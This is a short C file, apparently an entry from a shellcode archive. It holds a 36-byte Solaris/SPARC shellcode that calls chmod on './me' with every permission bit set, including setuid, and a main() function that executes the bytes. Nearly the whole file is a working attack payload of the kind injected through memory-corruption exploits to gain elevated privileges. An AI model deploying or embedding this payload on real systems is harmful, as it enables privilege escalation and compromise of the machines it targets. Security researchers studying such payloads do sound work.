Solaris/SPARC chmod() shellcode with a max size of 36 bytes.
568d85329596d6ee11ae1b8eca1f939e/*
* sparc_solaris_chmod2.c - Solaris/SPARC chmod() shellcode
* Copyright (c) 2022 Marco Ivaldi <[email protected]>
*
* Very small Solaris/SPARC chmod shellcode. See also:
* http://phrack.org/issues/70/13.html#article
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
*/
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
/* chmod("./me", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x20\xbf\xff\xff" /* bn,a <sc + 4> */
"\x7f\xff\xff\xff" /* call <sc + 8> */
"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */
"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"./me";
void main()
{
void (*f)() = (void *)sc;
f();
}